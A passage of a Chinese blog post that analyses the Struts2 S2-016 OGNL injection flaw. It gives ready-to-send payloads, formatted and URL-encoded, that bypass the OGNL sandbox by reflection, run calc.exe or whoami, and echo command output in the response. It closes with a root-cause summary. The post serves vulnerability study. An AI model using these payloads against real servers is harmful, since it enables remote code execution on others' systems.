isAccessible 返回 false
        ↓
OGNL 拒绝执行
        ↓
返回 null

所以完整 Payload 里那两步绕过是必须的。


Payload 2:绕过静态方法限制

Payload 绕过方式就是用反射把 allowStaticMethodAccess 改成 true

java 复制代码
#f = #_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess")
#f.setAccessible(true)
#f.set(#_memberAccess, true)
        ↓
getAllowStaticMethodAccess() 返回 true
        ↓
allow = true
        ↓
isAccessible 返回 true
        ↓
静态方法调用成功

完整 Payload(格式化版):

java 复制代码
redirect:${
  #f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),
  #f.setAccessible(true),
  #f.set(#_memberAccess,true),
  @java.lang.Runtime@getRuntime().exec("calc.exe")
}

URL 编码版本:

perl 复制代码
/index.action?redirect:%24%7B%23f%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%40java.lang.Runtime%40getRuntime().exec(%22calc.exe%22)%7D

发包之后成功弹出了计算器:


Payload 3:命令回显版

弹计算器只是验证,实际利用需要命令回显,完整 Payload:

shell 复制代码
redirect:${
  // 用反射把沙箱的 allowStaticMethodAccess 改成 true,允许静态方法调用
  #f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),
  #f.setAccessible(true),
  #f.set(#_memberAccess,true),

  // 调用 Runtime 静态方法拿到实例,执行 whoami 命令,返回 Process 对象存进 #a
  #a=@java.lang.Runtime@getRuntime().exec("whoami"),

  // 读取命令执行结果:Java 里标准的读取进程输出写法
  #b=new java.io.InputStreamReader(#a.getInputStream()),
  #c=new java.io.BufferedReader(#b),
  #d=#c.readLine(),

  // 从 OGNL context 里取出 HttpServletResponse 对象存进 #matt
  // 用全限定名取是因为 Struts2 就是用这个 key 存进去的
  #matt=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),

  // 把命令执行结果写进 HTTP Response,在 Burp 的 Response body 里就能看到结果
  #matt.getWriter().println(#d),
  #matt.getWriter().flush(),
  #matt.getWriter().close()
}

URL 编码版本:

perl 复制代码
/index.action?redirect:%24%7B%23f%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22whoami%22)%2C%23b%3Dnew+java.io.InputStreamReader(%23a.getInputStream())%2C%23c%3Dnew+java.io.BufferedReader(%23b)%2C%23d%3D%23c.readLine()%2C%23matt%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2C%23matt.getWriter().println(%23d)%2C%23matt.getWriter().flush()%2C%23matt.getWriter().close()%7D

命令回显成功:


十、总结

S2-016 本身不复杂,但背后的东西值得花时间搞清楚。

漏洞核心: 用户输入的 redirect: 后面的内容,在 DefaultActionMapper 里被 substring 截取后没有任何过滤,直接通过 setLocation 存入 ServletRedirectResult,最终在 StrutsResultSupport.conditionalParse() 里被丢给 OGNL 引擎执行,实现 RCE。

OGNL 注入的本质: 就是表达式注入的一种,和 SSTI 同类,区别只在于解析引擎不同。OGNL 直接对应 Java 代码,Runtime.exec() 调用路径极短,加上 Java 反射机制强大,沙箱绕过相对容易,比模板引擎的 SSTI 更危险。

Struts2 为什么漏洞这么多: 框架过度依赖 OGNL,URL 参数名、参数值前缀、请求头、请求体、文件名、命名空间处处都在做 OGNL 求值,只要有一个地方没过滤用户输入,就是漏洞。

相关推荐
请你喝可乐1 小时前
AI Agent Skill 高阶使用指南:从入门到精通
后端
9号达人1 小时前
为什么你应该在 MQ 里用多个消费者,而不是一个
java·后端·架构
阿星做前端2 小时前
重度 AI 编程用户的一天:我怎么把 Claude Code / Codex 工作流搬进浏览器工作台
前端·javascript·后端
代码羊羊2 小时前
Rust 类型转换全方位通俗易懂指南(as、TryInto、强制转换、Transmute)
后端·rust
jay神2 小时前
基于SpringBoot的宠物生命周期信息管理系统
java·数据库·spring boot·后端·web开发·宠物·管理系统
星栈2 小时前
Rust 全栈一个 main.rs 搞定启动:migration + CQRS + 投影监听,部署只需一个二进制
后端·架构
Penge6662 小时前
一文理清 Mac/Linux 终端配置文件(.bash_profile, .bashrc, .zshrc)
后端
Rust研习社2 小时前
Rust 性能陷阱:那些看起来很优雅但很慢的写法(上)
后端·rust·编程语言
万亿少女的梦1682 小时前
基于SpringBoot的在线考试管理系统设计与实现
java·spring boot·后端